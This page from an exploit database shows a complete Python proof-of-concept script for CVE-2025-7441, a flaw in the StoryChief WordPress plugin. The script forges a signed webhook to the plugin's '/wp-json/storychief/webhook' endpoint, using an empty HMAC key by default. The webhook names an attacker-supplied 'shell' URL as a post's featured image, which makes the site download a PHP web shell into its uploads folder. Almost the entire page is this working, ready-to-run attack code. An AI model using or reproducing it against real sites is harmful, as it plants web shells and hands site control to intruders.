Exploit database

GH-6be6baff7a9bf5196f81241c95a0e0c7

nxploited/cve-2025-7441

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-7441

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
nxploited/cve-2025-7441Revision 38dd5ad680a4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-7441.py

Python · 9,650 bytes
#!/usr/bin/env python3
#By: Nxploited (Khaled Alenazi )
import argparse
import json
import hmac
import hashlib
import sys
import os
import subprocess
from datetime import datetime
from urllib.parse import urlparse
try:
    import requests
    from requests.adapters import HTTPAdapter
    from urllib3.util.retry import Retry
except Exception:
    requests = None

def Nxploited_parse_args():
    p = argparse.ArgumentParser(description="Exploit for CVE-2025-7441 By : Nxploited(Khaled ALenazi)")
    p.add_argument("-u", "--url", required=True, help="Webhook URL or site root")
    p.add_argument("-shell", required=True, help="Shell/image URL to include as featured image")
    p.add_argument("-k", "--key", default="", help="Encryption key (hex). Leave empty for b\"\"")
    p.add_argument("--header", action="append", default=[], help="Custom header, format: Key:Value")
    p.add_argument("--timeout", type=int, default=15, help="Request timeout seconds")
    p.add_argument("--retries", type=int, default=2, help="Retry attempts on failure")
    p.add_argument("--backoff", type=float, default=0.5, help="Backoff factor between retries")
    p.add_argument("--proxy", default="", help="HTTP/HTTPS proxy URL")
    p.add_argument("--no-verify", action="store_true", help="Disable SSL verification")
    p.add_argument("--print-only", action="store_true", help="Print payload only; do not send")
    p.add_argument("--use-curl", action="store_true", help="Force use of curl instead of requests")
    p.add_argument("--debug", action="store_true", help="Print debug info to stderr")
    p.add_argument("--title", default="Test post", help="Post title")
    p.add_argument("--excerpt", default="", help="Post excerpt")
    return p.parse_args()

def Nxploited_normalize_webhook_url(url):
    parsed = urlparse(url)
    if parsed.scheme == "" or parsed.netloc == "":
        raise ValueError("invalid_url")
    if parsed.path in ("", "/"):
        parsed = parsed._replace(path="/wp-json/storychief/webhook")
    return parsed.geturl(), parsed

def Nxploited_validate_shell_url(shell_url):
    parsed = urlparse(shell_url)
    if parsed.scheme == "" or parsed.netloc == "":
        raise ValueError("invalid_shell_url")
    return parsed

def Nxploited_extract_filename(shell_parsed):
    name = os.path.basename(shell_parsed.path)
    if not name:
        name = "shell.php"
    return name

def Nxploited_check_shell_url(shell_url, timeout, debug):
    if requests is not None:
        try:
            resp = requests.head(shell_url, timeout=timeout, allow_redirects=True)
            if debug:
                print("[DEBUG] shell HEAD status:", resp.status_code, file=sys.stderr)
            return resp.status_code == 200
        except Exception as e:
            if debug:
                print("[DEBUG] shell HEAD error:", str(e), file=sys.stderr)
            try:
                resp = requests.get(shell_url, timeout=timeout, allow_redirects=True)
                if debug:
                    print("[DEBUG] shell GET status:", getattr(resp, "status_code", None), file=sys.stderr)
                return getattr(resp, "status_code", None) == 200
            except Exception:
                return False
    else:
        try:
            cmd = ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", shell_url]
            proc = subprocess.run(cmd, capture_output=True, timeout=timeout)
            code = proc.stdout.decode().strip()
            if debug:
                print("[DEBUG] shell curl status:", code, file=sys.stderr)
            return code == "200"
        except Exception as e:
            if debug:
                print("[DEBUG] shell curl error:", str(e), file=sys.stderr)
            return False

def Nxploited_build_payload(title, shell_url, excerpt):
    payload = {
        "meta": {"event": "publish"},
        "data": {
            "title": title,
            "excerpt": excerpt,
            "featured_image": {
                "data": {
                    "sizes": {"full": shell_url},
                    "alt": "demo shell"
                }
            }
        }
    }
    return payload

def Nxploited_sign_payload(payload, key_bytes):
    signed = json.dumps(payload, separators=(",", ":"), ensure_ascii=False).replace("/", r"\/")
    mac = hmac.new(key_bytes, signed.encode(), hashlib.sha256).hexdigest()
    payload["meta"]["mac"] = mac
    return signed, mac

def Nxploited_prepare_headers(custom_headers):
    headers = {"Content-Type": "application/json"}
    for h in custom_headers:
        if ":" in h:
            k, v = h.split(":", 1)
            headers[k.strip()] = v.strip()
    return headers

def Nxploited_send_with_requests(url, payload, headers, timeout, retries, backoff, verify, proxies, debug):
    session = requests.Session()
    retry = Retry(total=retries, backoff_factor=backoff, status_forcelist=[429,500,502,503,504], allowed_methods=frozenset(["POST"]))
    adapter = HTTPAdapter(max_retries=retry)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    resp = session.post(url, json=payload, headers=headers, timeout=timeout, verify=verify, proxies=proxies)
    if debug:
        print("[DEBUG] post status:", resp.status_code, file=sys.stderr)
    return resp.text, resp.status_code, resp.headers

def Nxploited_send_with_curl(url, payload, headers, timeout, debug):
    cmd = ["curl", "-s", "-X", "POST", url, "-H", "Content-Type: application/json", "-d", json.dumps(payload)]
    for k, v in headers.items():
        if k.lower() == "content-type":
            continue
        cmd[6:6] = ["-H", f"{k}: {v}"]
    if timeout:
        cmd[4:4] = ["--max-time", str(timeout)]
    if debug:
        print("[DEBUG] curl cmd:", " ".join(cmd), file=sys.stderr)
    proc = subprocess.run(cmd, capture_output=True)
    out = proc.stdout.decode(errors="ignore")
    return out, proc.returncode, {}

def Nxploited_handle_response_text(out_text, parsed_target):
    out = out_text.strip()
    if out.startswith("<"):
        return False, None
    try:
        j = json.loads(out)
    except Exception:
        return False, None
    def find_first_key(obj, names):
        if isinstance(obj, dict):
            for k, v in obj.items():
                if k in names and isinstance(v, str):
                    return v
                res = find_first_key(v, names)
                if res:
                    return res
        elif isinstance(obj, list):
            for item in obj:
                res = find_first_key(item, names)
                if res:
                    return res
        return None
    permalink = find_first_key(j, ["permalink", "permalink_url", "link", "url"])
    if permalink:
        return True, permalink
    id_val = find_first_key(j, ["id", "post_id"])
    if id_val and isinstance(id_val, (int, str)):
        try:
            pid = int(id_val)
            base = f"{parsed_target.scheme}://{parsed_target.netloc}"
            preview = f"{base}/?p={pid}&preview=true"
            return True, preview
        except Exception:
            pass
    return True, None

def Nxploited_main():
    args = Nxploited_parse_args()
    try:
        key = b"" if args.key.strip() == "" else bytes.fromhex(args.key.strip())
    except Exception:
        print("[-] Error: invalid key", file=sys.stderr)
        sys.exit(1)
    try:
        target_url, parsed_target = Nxploited_normalize_webhook_url(args.url)
    except Exception:
        print("[-] Error: invalid URL", file=sys.stderr)
        sys.exit(1)
    try:
        shell_parsed = Nxploited_validate_shell_url(args.shell)
    except Exception:
        print("[-] Error: invalid shell URL", file=sys.stderr)
        sys.exit(1)
    filename = Nxploited_extract_filename(shell_parsed)
    shell_ok = Nxploited_check_shell_url(args.shell, args.timeout, args.debug)
    if not shell_ok:
        print("[-] Error: shell URL is not reachable (not HTTP 200)", file=sys.stderr)
        sys.exit(1)
    payload = Nxploited_build_payload(args.title, args.shell, args.excerpt)
    signed, mac = Nxploited_sign_payload(payload, key)
    headers = Nxploited_prepare_headers(args.header)
    if args.print_only:
        if args.debug:
            print("[DEBUG] payload:", json.dumps(payload, indent=2, ensure_ascii=False), file=sys.stderr)
        print(json.dumps(payload, indent=2, ensure_ascii=False), file=sys.stderr)
        sys.exit(0)
    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
    verify = not args.no_verify
    try:
        if requests is not None and not args.use_curl:
            out_text, status_code, resp_headers = Nxploited_send_with_requests(target_url, payload, headers, args.timeout, args.retries, args.backoff, verify, proxies, args.debug)
        else:
            out_text, status_code, resp_headers = Nxploited_send_with_curl(target_url, payload, headers, args.timeout, args.debug)
    except Exception as e:
        if args.debug:
            print("[DEBUG] send error:", str(e), file=sys.stderr)
        print("[-] Error: request failed", file=sys.stderr)
        sys.exit(1)
    ok, link = Nxploited_handle_response_text(out_text, parsed_target)
    if ok:
        now = datetime.utcnow()
        ym = now.strftime("%Y/%m")
        path = f"wp-content/uploads/{ym}/{filename}"
        print(f"Uploaded: {path}")
        sys.exit(0)
    else:
        if args.debug:
            print("[DEBUG] server response:", out_text[:1000], file=sys.stderr)
        print("[-] Error: upload failed or endpoint returned non-JSON/HTML", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    Nxploited_main()